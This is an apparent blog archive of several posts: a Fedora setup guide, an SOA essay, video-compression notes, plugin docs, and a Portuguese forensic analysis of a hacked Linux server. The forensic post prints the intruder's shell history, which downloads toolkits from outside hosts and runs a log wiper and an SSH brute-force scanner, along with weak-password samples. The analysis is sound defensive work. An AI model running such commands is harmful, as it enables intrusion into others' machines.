  5. Install Adobe Flash Player Globally
  6. Install Google Chrome or Chromium Browser
  7. Access LAN Hosts by Name Without a DNS Server (Bonjour, Zeroconf)
  8. Dramatically Improve Fonts
  9. Install Web Standard Fonts
  10. MP3 Support
  11. Amarok: The best audio player for Linux
  12. Enable Any DVD Player Software to Play DVDs from All Regions
  13. General DVD and DivX/Xvid/MP4/H.264 Movie Player
  14. General Digital Video Authoring and Editing tools
  15. Command Line DVD Copy & Decrypting Tool
  16. Enabling GMail as System’s Default Mail Relay (so you get sysadmin e-mails from your machine)
  17. Access Windows NTFS Partitions From Linux
  18. Configure text console in high resolution and smaller fonts

Terms highlighted in red should be changed to match your system.

Permissions Setup

This step will allow you to issue some administrative commands without having to be all the time logged in as root — the system administrator.

bash# echo 'your_plain_loginname_here ALL=(ALL) ALL' >> /etc/sudoers

Note that this is the only command throughout this guide that shows a root prompt (bash#). All other commands are indicated to be run as a regular non-root user (indicated by bash$).

After configuring sudo, every time you execute an administrative command with its help, a password is requested. This is your password (the regular user’s password), not the root password.

Keeping System Updated

Install the following packages so updates will come faster:

bash$ sudo yum -y install yum-presto yum-plugin-fastestmirror

You can also get e-mail notifications about system updates:

bash$ sudo yum -y install yum-cron
bash$ sudo chkconfig yum-cron on

Then make sure your /etc/sysconfig/yum-cron file has the following lines:

CHECK_ONLY=yes
MAILTO=YOUR-EMAIL@address-com

You will get one e-mail every day with a list of updates available. E-mail delivery will only work if you configure your system for that.
After all the steps below and from time to time, update all software installed on your system with the following command:

bash$ sudo yum update

Repositories Setup

RPM Fusion is a repository of many essential multimedia and general purpose software for Fedora and Red Hat systems. It is a good idea to have it configured so you can easily install players for DVDs, MP3s amongst other useful things.

bash$ sudo rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm

Activate Hardware Acceleration on NVidia and Intel GPUs

bash$ sudo yum -y install vdpau-video-freeworld libva-freeworld libva-utils vdpauinfo libva libvdpau kmod-nvidia xorg-x11-drv-nvidia

Install Adobe Flash Player Globally

bash$ sudo rpm -Uvh http://linuxdownload.adobe.com/adobe-release/adobe-release-i386-1.0-1.noarch.rpm
bash$ sudo yum -y install flash-plugin --exclude=AdobeReader\*

On 64bit systems (x86_64) use this:

bash$ sudo rpm -Uvh http://linuxdownload.adobe.com/adobe-release/adobe-release-i386-1.0-1.noarch.rpm
bash$ sudo yum -y install flash-plugin nspluginwrapper.x86_64 nspluginwrapper.i686 alsa-plugins-pulseaudio.i686 libcurl.i686 --exclude=AdobeReader\*
bash$ mkdir -p ~/.mozila/plugins; ln -s /usr/lib/flash-plugin/libflashplayer.so ~/.mozila/plugins

Restart your browser to activate the plugin. For reference: Flash Player for Linux home page.

Install Google Chrome or Chromium Browser

There are 2 ways to install Chrome or Chromium:

  • Chrome is packaged by Google, has less frequent update cycles, includes Flash and H.264 support.
    bash$ sudo wget -O /etc/yum.repos.d/google.repo http://avi.alkalay.net/articlefiles/2011/01/google.repo
    bash$ yum -y install google-chrome-beta

    You can also find Picasa on the same repo but is 32 bit only and not on the latest versions.

  • Chromium is the open-source-only part of Chrome, it is more well packaged by the Fedora community, is more well integrated into the desktop, has more frequent update cycles but doesn’t include Flash (that can be added separately). All the rest is the same and I prefer Chromium.
    bash$ sudo wget -O /etc/yum.repos.d/fedora-chromium-stable.repo http://repos.fedorapeople.org/repos/spot/chromium-stable/fedora-chromium-stable.repo
    bash$ sudo yum -y install chromium

Access LAN Hosts by Name Without a DNS Server

You can access servers and machines on you LAN by name, instead of using their long IP address using the Zeroconf standard (implemented as Avahi in Linux). This is so useful and works out of the box in Ubuntu. The setup in Fedora is easy too, but not automatic.

bash$ sudo yum -y install avahi-tools nss-mdns

Now, instead of accessing local hosts by their IP, you can use the .local domain appended to their names. Just like this:

bash$ ssh 10.0.0.5 # stop using the IP address of dbserver
bash$ ssh dbserver.local # start using its hostname

Evnetually this will only work if you correctly configure or disable packet filtering (firewalling). To disable:

bash$ sudo service iptables stop
bash$ sudo service ip6tables stop
bash$ sudo chkconfig --del iptables  # disable even for next reboots
bash$ sudo chkconfig --del ip6tables # disable even for next reboots

Tip grabbed from Fedora Project wiki.

Dramatically Improve Fonts

bash$ sudo yum install freetype-freeworld

Logoff and login again your graphical environment to this update take effect.

To understand why you need this update read this section on the Linux Font HOWTO.

The freetype-freeworld package uses a technique described in this bug report.

Install Web Standard Fonts

These packages include popular fonts as Arial, Times New Roman, Tahoma, Verdana, as well as new Windows Vista and MS Office 2007 fonts. Learn more.

bash$ sudo rpm -Uvh \
http://avi.alkalay.net/software/webcore-fonts/webcore-fonts-3.0-1.noarch.rpm \
http://avi.alkalay.net/software/webcore-fonts/webcore-fonts-vista-3.0-1.noarch.rpm

Then, configure your desktop as described in the Linux Font HOWTO, for KDE or Gnome.

MP3 Support

For Gnome and GStreamer:

bash$ sudo yum -y install gstreamer-plugins-ugly libmad libid3tag id3v2


For KDE:

bash$ sudo yum -y install kdemultimedia-extras-nonfree id3v2

Amarok: The best audio player for Linux

bash$ sudo yum -y install amarok-extras-nonfree

Enable Any DVD Player Software to Play DVDs from All Regions

bash$ sudo wget -O /etc/yum.repos.d/atrpms.repo http://avi.alkalay.net/articlefiles/2011/01/atrpms.repo
bash$ sudo rpm --import http://packages.atrpms.net/RPM-GPG-KEY.atrpms
bash$ sudo yum --enablerepo=atrpms -y install libdvdcss

General DVD and DivX/Xvid/MP4/H.264 Movie Player

bash$ sudo yum -y install gnome-mplayer

General Digital Video Authoring and Editing tools

bash$ sudo yum -y install mencoder mkvtoolnix mkvtoolnix-gui ffmpeg avidemux subtitleripper

Command Line DVD Copy & Decrypting Tool

bash$ sudo yum -y install vobcopy

Now, thanks to libdvdcss installed above, you can use vobcopy to clone DVD while removing their protections like this:

bash$ sudo mount /dev/dvd /mnt
bash$ cd /some/directory
bash$ vobcopy -m /mnt

Enabling GMail as System’s Default Mail Relay (so you get sysadmin e-mails from your machine)

See an updated post about it, ready for Fedora 20.

Access Windows NTFS Partitions From Linux

bash$ sudo yum -y install ntfs-config

Then run the ntfs-config-root graphical tool and configure your partitions to be writable and mountable.

bash$ sudo /usr/sbin/ntfs-config-root

An example of my system:
NTFS config tool screenshot
After you configure the tool and quit, your NTFS partitions will be mounted in the specified place. In my case /media/Windows and /media/Work.

Configure text console in high resolution and smaller fonts

This tip is for the text console.

bash$ sudo echo 'SYSFONT="lat0-08"' >> /etc/sysconfig/i18n  # set a ISO-8859-15 font
bash$ sudo echo 'fbset 1024x768-60' >> /etc/rc.d/rc.local    # set console resolution to 1024x768 @ 60Hz

These settings will take effect after a reboot, but you can test them before rebooting executing the following commands:

bash$ sudo setfont lat0-08
bash$ sudo fbset 1024x768-60

Note that you can set different resolutions than 1024×768 if you have a video card and monitor that will accept it. A full list of modes can be listed with the command:

bash$ grep "mode " /etc/fb.modes

O Meme dos Comandos Mais Usados

Resolvi aderir ao meme (alguém sabe onde começou?).

floripa:~$ history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -rn|head -20
    222 ls
    140 cd
    136 ls
     52 rsync
     43 dmesg
     35 mv
     35 gmplayer
     24 sudo
     23 ps
     23 df
     19 mkvinfo
     18 rpm
     15 mkdir
     14 cat
     11 mkvextract
     11 less
     11 ffmpeg
     10 mmg
      9 ping
      9 kill

Resolvi dobrar o tamanho da lista para dar a chance das pessoas conhecerem novos comandos, menos populares, como mkvextract, mmg, mkvinfo, ffmpeg.

Queria lembrar que essa lista é uma fotografia do meu uso atual, e tenho manipulado muito vídeo últimamente. Em outros carnavais, iriam aparecer coisas como java, ssh, etc.

SOA, Web Services, Virtualização, Grid, Web 2.0: Mashup gigante

SOA é um estilo de arquitetura que tenta alinhar melhor processos de negócio com a TI.

Apesar de os frabricantes de TI — como a IBM — serem os que mais falam sobre isso, ingressar em SOA significa primeiro modularizar seus processos de negócio para depois mapear isso aos módulos de aplicações e infra-estrutura.

Grid é um conceito meio obsoleto. Como conceito, mas não como tecnologia. O conceito é obsoleto porque sua atuação é extremamente estrutural e muito complexa. Toda a terminologia relacionada a Grid tem caráter técnico, difícil de explicar e de nada adianta uma empresa pensar em Grid se seus processos de negócio e aplicações que os implementam não estiverem modularizados.

Por isso inventaram SOA. Para que provedores de TI pudessem ter um discurso mais ameno e acessível ao vender a idéia para gestores em seus clientes. E também para atacar o problema do excesso de complexidade da TI do cliente em sua raiz: na modelagem de seus processos de negócio.

E Web Services, onde entra? Dividindo em camadas, o conceito de SOA mora na fronteira entre negócios e TI. Na hora em que os processos vão se materializar em software e aplicações, a boa prática sugere usarmos certos padrões de desenvolvimento, de integração entre módulos. Esses padrões foram agrupados juntos nas especificações de Web Services, e se preocupam em definir como se faz chamadas a serviços (métodos) remotos, como um serviço encontra outro, etc. Então, nessas camadas conceituais, Web Services encontra-se logo abaixo de SOA.

E Grid está logo abaixo de Web Services. Ocupa-se dos mesmos problemas e soluções, mas com abordagens mais operacionais. Grid nasceu em um ambiente científico e WS em um ambiente de aplicações de negócios. Reinventaram a roda um do outro diversas vezes. Mas nos últimos anos têm juntado esforços para limpar os overlaps a fim de produzir um único conjunto de métodos e boas práticas.

Tudo isso é Virtualização

Se a virtualização de hardware (Xen, VMWare, z/VM) divide um equipamento em vários pedacinhos, SOA, WS e Grid dividem a aplicação em vários pedacinhos funcionais.

A virtualização de software (SOA, etc.) é mais difícil de fazer. Mas é também muito mais poderosa que a de hardware. Traz benefícios mais consistentes, mais abrangentes (porque tiveram que arrumar a casa dos negócios antes) e de mais longo prazo.

Tudo isso tem a ver com a Web 2.0

Explicar Web 2.0 está fora do escopo agora, mas sua arquitetura tem muito a ver com SOA.

Ao invés de feeds, podcasts e APIs JavaScript da Web 2.0, SOA tem serviços, provedores de dados e de funcionalidades. Equivalente ao HTML, capaz de juntar funcionalidades e dados de diversos sites, SOA tem a Linguagem de Execução de Processo de Negócio (BPEL, que é XML) que define a ordem e dependências ao juntar Web Services para formar uma aplicação maior. O papel das tags e folksonomy da Web 2.0, é exercido pelo UDDI no contexto de Web Services.

Mashups da Web 2.0 (experimente o iGoogle) são as Aplicações Compostas do SOA (veja também na Wikipedia).

E o Enterprise Service Bus do SOA (também na Wikipedia) tem o Browser como seu equivalente na Web 2.0. Sim, porque ambos tem a missão de materializar as conexões lógicas definidas pelo DHTML ou BPEL.

Web 2.0 é a Arquitetura Orientada a Serviços global.

Supra-sumo em Compressão de Video

Andei estudando tecnologias de compressão de vídeo e é um mundo fascinante. Tudo sobre Linux.

DivX e Xvid são compressores ainda bons mas de gerações anteriores. O mais moderno e avançado é o H.264 também conhecido por MPEG-4 AVC, padrão ISO. Uma das melhores implementações desse compressor é livre: o projeto x264.

E sobre containers, um dos mais completos hoje em dia é o MP4. Um mesmo arquivo MP4 pode conter uma trilha de vídeo, outra de vídeo em outros ângulos, outra de audio em inglês, outra de audio em português, e outras de legendas em várias linguas, em Unicode, menu como o de um DVD, informação sobre capítulos etc. Isso é um significativo avanço em relação ao container AVI da Microsoft que não suportava nada disso. Pode-se fazer um backup de um DVD para um arquivo MP4, incluindo toda a sua interatividade, menus e capítulos.

Apesar do nome sugestivo, MP4 não é a evolução do MP3. Afirmar isso é como dizer que .gif evoluiu para .tar, coisa que não faz sentido. A evolução do MP3 é AAC e HE-AAC. MP4 (um formato de container) pode conter streams MP3 (um formato de audio), como fiz abaixo, mas o mais natural e moderno é um MP4 conter streams AAC.

Converti um vídeo de 53 segundos que fiz com minha câmera. Veja a comparação:

  Original.avi Comprimido.mp4
Geral 53s, 15.077 kb/s, 640×480, 30 quadros por segundo 53s, 2.495 kb/s, 640×480, 30 quadros por segundo
Tamanho 100.326.316 Bytes 16.639.145 Bytes
Trilha de vídeo 99.697.780 Bytes, compressão Motion JPEG 15.952.188 Bytes, compressão H.264
Trilha de audio 586.888 Bytes, formato PCM mono 11,024 Hz 657.699 Bytes, compressão MP3 mono 22,05 Hz 64kbps
Overhead do container 41.648 Bytes ou 0.04% do tamanho do arquivo 29.258 Bytes ou 0.18% do tamanho do arquivo

Há duas discrepâncias aqui:

  1. O tamanho relativo do container deveria ter diminuido.
    O overhead do container MP4 é bem menor que AVI, mas como o tamanho do vídeo diminuiu muitíssimo, isso distorceu a relação do tamanho do container com o do arquivo. Se transferíssemos sem recomprimir os streams de audio e vídeo do AVI p/ MP4, veríamos uma significativa queda de overhead do container.
  2. O tamanho da trilha de audio aumentou.
    O fato é que tive sérios problemas para compactar o audio. Minha câmera grava som em formatos tão baixos que tive que aumentar a freqüência do sinal para o arquivo ser aceito pelo LAME. E ai usei bitrates talvez altos de mais para a compressão. Mas ganhei tanto com o H.264 que nem vou esquentar a cabeça.

O vídeo final é de alta qualidade (comparado com o original), e não consegui perceber diferença entre eles. Olhei várias vezes, com muita atenção.

Eu ainda fiz questão de alta qualidade, e mantive o bitrate em 2495 kbps. Poderia ter diminuido mais ainda o tamanho se fizesse compressão em 2 passos. Filmes em formato Xvid (MPEG-4 ASP) que se baixa da Internet, em boa qualidade, tem aproximadamente 850 kbps. É esperado que se dermos só 850 kbits para o H.264 trabalhar 1 segundo de vídeo, obteremos resultados melhores comparados ao Xvid.

Na Trilha do Invasor

Qualquer administrador de firewall pode observar em seus registros que uma máquina conectada à Internet não fica um minuto sequer, 24 horas por dia, livre de tentativas de invasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs inseguras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem já que não lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo.

Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.

Vamos chamar os invasores de crackers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução da palavra hacker), exploradores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ganhar dinheiro licitamente, enfim, fazer o bem. Um cracker por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem, e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.

Os Rastros Deixados pelo Cracker

O servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para um novo teste conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B, enviou um e-mail para P (provedor do link físico para a máquina atacada) informando que detectou uma tentativa de ataque, e requisitou um retorno. P encaminhou o e-mail para A, e esse continha alguns logs com a prova da tentativa de invasão:

Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:26:27 sshd[PID]: refused connect from  IP.IP.IP.IP

Eles mostravam que o IDS (Intrusion Detection System) de B acusou que a máquina atacada (cujo endereço IP está representado por IP.IP.IP.IP) tentou se logar várias vezes sem sucesso em seu serviço SSH (sshd). Reparem que o instante de todas as tentativas, até os segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum software que muito rapidamente está testando várias combinações de usuário e senha ao mesmo tempo.

Histórico do Ataque

Fui chamado para dar explicações porque havia fornecido informalmente por telefone algumas dicas de como proteger a máquina. Primeiramente, era necessário dar subsídios ao provedor P para responder ao e-mail de B, dando uma satisfação formal. Isso é uma atitude de responsabilidade de um bom administrador de rede, e demonstra a preocupação em manter o nível de serviço da Internet o mais alto possível.

A máquina foi colocada em quarentena, desligada da Internet e começamos a analisá-la. Tratava-se de um Red Hat Enterprise Linux 3 Update 5. Não estou dizendo que o Red Hat Linux é menos ou mais seguro. Isso não é muito intuitivo de se entender, mas segurança não tem quase nada a ver com o software. Segurança não é um firewall, não é criptografia, nem um conjunto de produtos que tem proteção como objetivo. Segurança é um processo que deve ser seguido conscientemente por administradores de redes. Se um ataque acontece, toda a responsabilidade é do administrador, e não do sistema operacional, seja ele qual for, e do fabricante que for. O administrador precisava agora descobrir como o cracker invadiu para, corajosamente, assumir a falha e não permitir que isso aconteça novamente.

Logo no boot da máquina observamos consecutivas mensagens estranhas que não deviam estar lá e que continham o texto “(swap)”. Começamos a analisar o processo de inicialização do sistema, a partir do arquivo /etc/inittab. Vimos que um dos primeiros scripts que são executados no sistema é o /etc/init.d/functions e fizemos os seguintes testes:

bash$ rpm -qf /etc/init.d/functions
initscripts-7.93.20.EL
bash$ rpm -V initscripts
S.5....T c /etc/rc.d/init.d/functions

Verificamos que este arquivo faz parte (rpm -qf) do pacote initscripts, e em seguida testamos sua integridade (rpm -V). Descobrimos que o arquivo foi alterado: o número 5 significa que o MD5 do arquivo mudou, ou, em outras palavras, que o conteúdo do arquivo mudou. O RPM sabe disso comparando o MD5 do arquivo atual no disco, com o MD5 registrado em seu banco de dados no momento da instalação do pacote.

Mas o que foi alterado no script functions ?

A última linha do script era esta:

/usr/bin/crontabs -t1 -X53 -p

Suspeitamos imediatamente porque o comando crontab não se chama “crontabs”. Confirmamos novamente com o RPM:

bash$ rpm -qf /usr/bin/crontabs
o ficheiro /usr/bin/crontabs não pertence a nenhum pacote

Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não paramos aqui. Queríamos saber o que este programa fazia. Como era um binário, tentamos extrair algumas strings dele:

bash$ strings /usr/bin/crontabs
[...]
"smbd -D"
"(swapd)" &
[...]

Ou seja, era este tal crontabs que mandava para a tela as mensagens com a string “(swap)”. Mas descobrimos outra coisa: o alienígena continha também a string “smbd -D”, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verificar se um processo chamado smbd estava rodando porque usamos os mesmos rpm -qf e rpm -V para constatar que estes programas também foram modificados pelo cracker. Usamos o utilitário gráfico ksysguard (que não foi modificado) do KDE e pudemos observar um tal processo smbd -D rodando. Chamou a atenção que o ksysguard mostrava todos os processos executando sem seus parâmetros, e somente o smbd apresentava um parâmetro. Não tardou a acharmos um arquivo chamado “/usr/bin/smbd -D” (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fazia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa:

bash$ strings “/usr/bin/smbd -D"
[...]
Received SIGHUP; restarting.
Generating new %d bit RSA key.
RSA key generation complete.
   -b bits    Size of server RSA key (default: 768 bits)
By-ICE_4_All ( Hackers Not Allowed! )
SSH-%d.%d-%.50s
This server does not support your new ssh version.
Sent %d bit public key and %d bit host key.
sshd version %.100s [%.100s]
[...]

Omitimos diversas linhas para ser mais didático. A linha vermelha eliminou qualquer dúvida se um cracker havia visitado a máquina ou não. Mas o mais interessante são as linhas azuis, que levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder logar com SSH quando quisesse. Em /var/log/messages encontramos a evidência final:

Feb  19 19:24:49 localhost smbd -D: RSA1 key generation succeeded
Feb  19 19:24:50 localhost smbd -D: RSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D: DSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D:  succeeded

Essas são mensagens típicas de um daemon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de Samba, o que não faz sentido algum e é forte indício que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro.

Para o cracker poder alterar arquivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos espiar o histórico de comandos executados por este usuário no arquivo /root/.bash_history, e vimos isto:

bash# less /root/.bash_history
[...]
cd /usr/share/.a
wget lamisto.octopis.com/mig.tgz
tar xzvf mig.tgz
./mig g-u root -n 0
./mig -u root -n 0
cd /usr/share/.a
wget utilservices.iasi.rdsnet.ro/~marianu/flo.tgz
tar xzvf flo.tgz...linhas omitidas...
cd /var/tmp
wget djanda.com/get/usr.tar.gz
wget djanda.com/get/x.tar.gz
tar xfvz usr.tar.gz
cd usr
chmod +rwxrwxrwx *
./crond
cd ..
tar xfvz x.tar.gz
cd x
chmod +rwxrwxrwx *
mv unix x
./x 201.20; ./x 201.21; ./x 201.22; ./x 201.23; ./x 201.24; ./x 201.25; ./x 201. 26; ./x 201.27; ./x 201.28; ./x 201.29; ./x 201.30; ./x 201.31; ./x 201.32; ./x 201.33; ./x 201.34; ./x 201.35; ./x 201.36; ./x 201.37; ./x 201.38; ./x 201.39; ./x 201.40; ./x 201.41; ./x 201.42; ./x 201.43; ./x 201.44; ./x 201.45; ./x 201. 46; ./x 201.47; ./x 201.48; ./x 201.49; ./x 201.50
[...]
/usr/sbin/adduser scanning

O formato do arquivo não permite saber quando esses comandos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vieram com eles. Analisamos cada um, e descobrimos que:

  • No diretório /usr/share/.a ele instalou e executou o tal comando mig que aparentemente é um limpador de histórico de login do sistema. Usamos o mesmo comando strings para analisar esse binário. Isso confirmou nossa estimativa da data de ataque pois o comando last (usado para verificar esse histórico) apontou dados inconsistentes por volta de 19 de fevereiro.
  • Em /var/tmp foi baixado um tal usr.tar.gz, que aparentemente é um bot de IRC. Mais tarde, com os mesmos comandos do RPM, descobrimos que o comando /bin/netstat também foi alterado, provavelmente para esconder as conexões deste bot a diversos servidores de IRC na porta padrão 6667, o que constatamos com o ksysguard. Adiante explicaremos o que um cracker faz com isso.

Mas o mais interessante foi o x.tar.gz baixado. Continha dois executáveis chamados find e take, o script chamado simplesmente de x, e um arquivo muito especial de nome code.conf. Lendo o simplíssimo script x, vendo no histórico como ele era executado muitas vezes, e usando a intuição, ficou claro que o comando find varria faixas IP inteiras em busca de portas 22 (SSH) abertas. Os hosts encontrados eram então passados para o comando take, que se encarregava de usar as 18459 combinações de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha registrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E sim, este arquivo já tinha uma lista de hosts e respectivas senhas em que essas ferramentas conseguiram penetrar.

Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles tentou ser invadido sem sucesso.

Quando chegamos a isso, ainda não estava claro como a máquina de A foi invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de iptables, serviços ativos, etc. Parecia tudo correto, ou não alarmantemente errado. Foi quando demos uma olhada com mais atenção no conteúdo do code.conf e entre suas mais de 18 mil linhas encontramos estas:

root passw0rd
root pa55word
root pa55w0rd
sapdb sapdb
apache apache
apache 123456
apache2 apache
apache2 apache2
apache2 apache123

Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina colocou a mão na testa, e com voz de lamento nos contou que a senha de root era a manjadíssima passw0rd (com um algarismo zero no lugar da letra ‘o’)! O serviço SSH estava aberto e permitia login do root pela rede. Aquela máquina também tinha sido vítima do scan do cracker, e foi assim que ele entrou e ganhou poder total.

Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam anos conectadas à Internet, e nunca sofreram ataques. Mas uma simples senha conhecida, bem típica de ambientes de testes onde várias pessoas compartilham acessos similares e informais às máquinas, foi o calcanhar de Aquiles da pilha de segurança. Isso confirma que ataques bem sucedidos são sempre responsabilidade do administrador, e nunca do software de segurança em especial.

A Reinstalação da Máquina

Depois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o disco e partir para uma reinstalação completa. Desta vez acompanhei de perto a instalação, e seguimos algumas regras simples de segurança:

  • Só instalamos pacotes que sabíamos que seriam usados. Descartamos completamente a idéia de fazer uma instalação completa.
  • Depois de instalado, desligamos alguns serviços que sabíamos que não seriam usados, como NIS, Samba, Portmap, NFS. E se possível os desinstalávamos.
  • Criamos regras para o iptables fechando praticamente tudo menos as portas 80 (HTTP) e 443 (HTTPS).
  • Requisitamos ao provedor do link P que configurasse regras semelhante em seu roteador, formando um firewall duplo.
  • Por via das dúvidas, desabilitamos o acesso por SSH ao root, obrigando o administrador a se logar com um usuário qualquer e depois ganhar privilégios com o comando su. Isso funciona como uma restrição dupla para administrar a máquina.
  • E dessa vez foram usadas senhas decentes, bem difíceis, com letras, números, e que não eram derivadas de palavras óbvias.
  • As senhas só foram informadas verbalmente para poucas pessoas. Evitamos passar por e-mail.

Por que o Cracker Ataca ?

Uma coisa que vale explicar é o bot de IRC. Ele serve para fazer ataques de DDoS (Distributed Denial of Service). Um bot fica constantemente conectado a uma sala de IRC pré-definida. Depois de invadir várias máquinas e ativar os respectivos bots, o cracker entra nessa sala de IRC e tem ao seu dispor um exército de bots distribuídos programados para executar ações ao seu comando. O DDoS acontece quando o cracker, via comandos aos bots na sala de IRC, faz os computadores invadidos enviarem simultaneamente grandes pacotes de dados para algum site-vítima, escolhido pelo cracker. Naquele momento, o link do site-vítima fica sobrecarregado, e a sensação é que ele está fora do ar. Isso pode durar o tempo que o cracker desejar.
Ataque Distributed Denial of Service

Esse processo foi ricamente detalhado pelo dono de um desses site-vítima, em grc.com/dos/grcdos.htm, e é leitura obrigatória a qualquer um que se interessa por segurança.

Em todas as análises que fizemos, não encontramos nada de útil no ataque do cracker. A máquina estava conectada a outras redes, mas não pareciam interessá-lo. A única conclusão que pudemos chegar é que o cracker ataca por atacar, e depois usa seu ataque para atacar mais. Só. Simplesmente isso. Sim, porque as ferramentas, técnicas e rastros deixados mostram que ele provavelmente usou ferramentas criadas por outros, talvez seguindo uma documentação que mostra os comandos prontos, passo a passo. Sem saber direito o que estava fazendo. Sem objetivos “mitnickianos”, nem financeiros, nem algo que o exaltasse perante outros crackers.

Só Freud explica…

Google Maps Plugin for WordPress

This software will let you easily render Google Maps anywhere on your blog as a web service. It also includes code for easy integration with WordPress blogs, but what the code does best can actually be used with any other blog system or plain web page.

This plugin will let you easily create from simple maps with one marker and a text balloon, to complex multimarker maps with hypertext balloons as this page.

Installation on WordPress Blogs

Install it as any other plugin (unziping plugin files under [WORDPRESS_ROOT]/wp-content/plugins directory and activate it in WP Plugins admin tool). Then go to the Google Maps API key signup page, get an API key for your website, and install it in the plugin’s admin page under Options.

Google Maps WP admin page

Creating Simple Maps

This is the easy part.

  1. Go to Google Maps, find the spot you want to show, select Map, Satelite or Hybrid view buttons, double-click on the most important point on the map to centralized it, and define the zoom factor you want.
  2. On the left-top corner of the map, click on the “Link to this page” link, and copy your browser’s location to the clipboard. You can do the same for complex maps created on the My Maps section of Google Maps website.

    Link selection

  3. While creating the post, select the text that will be displayed on the map marker, and create a link with it.

    Select text for the map's mrker

  4. Paste the map URL on the Link URL field, and on Title write “googlemap“.

    Link creation dialog

  5. Continue editing your post and publish.

You are done. This example will render a map like this (don’t forget to click on the marker to see the balloon):

TuxThis will be a map’s marker text with an image.

Passing Parameters

You may have noticed that on the Title field above we used other commands. In fact you can use the following switches, separated by “;” to control the way the map will appear in your site.

googlemap
Instructs the plugin to transform this link into a Google Map area. If not used, the plugin will not work on the link and you’ll get a plain link to the Google Maps site.
nocontrol or nocontrols
Renders a map without the zoom and scale controls
nomarker or nomarkers
Renders a map without the marker with the information balloon.
w:SIZE_IN_PIXELS and h:SIZE_IN_PIXELS
Defines the size of the map area in pixels.
w:PERCENT% and h:PERCENT%
Defines the size of the map area relative to full width and height.

Since other plugins may use the title attribute, you can also put these commands in the rel attribute and activate this functionality in the plugin configuration dialog.

Some examples for the Title (or rel) field:

googlemap
Renders a map with controls, marker an default sizes, as specified in the plugin’s admin page, under WP Options.
googlemap;nocontrols;w:300;h:200
Renders a 300×200 map with marker but no zoom controls.
googlemap;nomarker;nocontrols;w:100;h:100
Renders a small 100×100 map without marker and zoom controls.
googlemap;nomarker;nocontrols;w:100%;h:300
Renders a maps that fills the full width available with a 300 pixels height, without markers and zoom controls.

Creating Complex Maps

This procedure requires some HTML knowledge, but will let you create maps with multiple markers, and results as good as on this post.

The proccess consists of creating a definition list (<dl> XHTML element) of a center point and markers with their text balloons.

Learn by example. Pay attention to the following complex map, and select all its markers to see the text inside their balloons:

Center of map
map
Center of São Paulo
map
Flea market
map
Traditional market
balloonless marker
map
Japanese town

It was generated by this (X)HTML code:

<dl title="googlemap;w:100%;h:400">
	<dt><a href="http://maps.google.com/?z=15&ll=-23.550887,-46.631985&om=1">Center of map</a></dt>

	<dt><a href="http://maps.google.com/?ll=-23.550592,-46.633122">map</a></dt>
	<dd><strong>Center of São Paulo</strong></dd>

	<dt><a href="http://maps.google.com/?ll=-23.547563,-46.631041">map</a></dt>
	<dd>Flea market</dd>

	<dt><a href="http://maps.google.com/?ll=-23.54535,-46.627693" title="marker">map</a></dt>
	<dd>Traditional market</dd>

	<dt><a href="http://maps.google.com/?ll=-23.54715,-46.637263">balloonless marker</a></dt>

	<dt><a href="http://maps.google.com/?ll=-23.555195,-46.635547" title="marker">map</a></dt>
	<dd>Japanese town</dd>
</dl>

So the structure must folow these rules:

  1. Create a definition list (<dl>) and put map-related commands and parameters on title= attribute as specified above.
